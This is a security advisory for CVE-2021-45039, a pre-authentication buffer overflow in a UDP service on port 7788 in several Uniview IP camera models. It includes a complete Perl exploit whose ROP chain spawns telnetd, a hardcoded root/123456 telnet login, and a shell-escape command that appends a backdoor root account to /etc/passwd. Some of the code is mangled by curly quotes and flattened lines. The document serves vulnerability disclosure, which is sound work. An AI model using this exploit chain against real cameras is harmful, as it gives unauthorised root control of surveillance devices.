Headline
CVE-2021-45039: SSD Advisory – Uniview PreAuth RCE - SSD Secure Disclosure
Multiple models of the Uniview IP Camera (e.g., IPC_G6103 B6103.16.10.B25.201218, IPC_G61, IPC21, IPC23, IPC32, IPC36, IPC62, and IPC_HCMN) offer an undocumented UDP service on port 7788 that allows a remote unauthenticated attacker to overflow an internal buffer and achieve code execution. By using this buffer overflow, a remote attacker can start the telnetd service. This service has a hardcoded default username and password (root/123456). Although it has a restrictive shell, this can be easily bypassed via the built-in ECHO shell command.
TL;DR
Find out how a vulnerability in multiple Uniview devices allow remote unauthenticated attackers to trigger a remote code execution vulnerability in the products the company offers.
Vulnerability Summary
A vulnerability in Uniview proprietary protocol listening on UDP port 7788 allows remote unauthenticated attackers to overflow an internal buffer used by the product. By exploiting the vulnerability a remote attackers to gain root access to the device.
CVE
CVE-2021-45039
****Credit****
An independent security researcher has reported this bypass to the SSD Secure Disclosure program.
Affected Versions
- Multiple models of the vendor IPC_G61 / IPC21 / IPC23 / IPC32 / IPC36 / IPC62 / IPC_HCMN / SC-31 / SC-37 / SC-20 / SC-26
- The full affected models list can be found at https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm
Vendor Response
The vendor has issued a an advisory: https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm
Vulnerability Analysis
Using unpack, binwalk and ubidump and the firmware from http://en.ezcloud.uniview.com/version/IPC/IPC_G6103/GIPC-B6103.16.10.B25.201218/GIPC-B6103.16.10.B25.201218.zip, you can see that /program/bin/maintain listens on UDP port 7788.
If you load /program/bin/maintain in Ghidra you can find a in FUN_00013074,
case 10:
if ((int)(local\_27 - 2) < 0x41) {
if ((local\_20 & 0x400) == 0) {
local\_34 = \_\_isoc99\_sscanf(param\_3 + local\_1c + 2, "%\[^:\]:%hu", auStack336, &local\_3a); // bug here
To reach the vulnerable location and redirect execution you will need to implement the custom TLV-based protocol this code uses.
The exploit found below will smash stack and spawn telnetd on the camera, you can then telnet in as root/123456 (password for telnetd is not changed when changing in web UI).
You will land in a restricted shell (uvsh), to break out of the restricted shell, ECHO command in uvsh allows file writes but only inside /tmp can overwrite /tmp/bin/killwatchdog.sh, this script gets called from /program/bin/reboot.sh when executing update -tftp / all from the uvsh:
ECHO -e “#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >> /etc/passwd\nmv /sbin/reboot /sbin/reboot.org\n” > /tmp/bin/killwatchdog.sh
uvsh> update -tftp / all
wait for “/tmp/bin/reboot.sh: line 28: reboot: not found”
Exploit
# exploit for uniview maintain daemon use IO::Socket; use strict; my $bla; my $sock = IO::Socket::INET->new( Proto => 'udp’, PeerPort => 7788, PeerAddr => '192.168.0.153’, ) or die "Could not create socket: $!\n"; binmode($sock);
packet is [opcode] [unknown] [2 bytes for length, with itself included] [“stuff”] meaning my packet payload
my $opcode = “\x07” ; # not important my $unk = “\x01” ; # not important my $payload = $opcode . $unk;
below address is for system(“telnetd &”);
my $stuff = “AAAABBBB” . pack("l",0x00013a58) . “DDDD” . # these 20 bytes are used for the authentication flow, not relevant in this scenario "\x0a"; # vuln tlv
first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug
$stuff .= "\x42"; $stuff .= “E” x 328; # 328 bytes of filler my $r11 = pack("l",0x43434343); # r11 not important $stuff .= $r11 . pack("l",0x0001b86c); # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field print "length of pkt " . int(length($payload . $stuff)+2) . "\n"; print $sock $packet; $sock->close;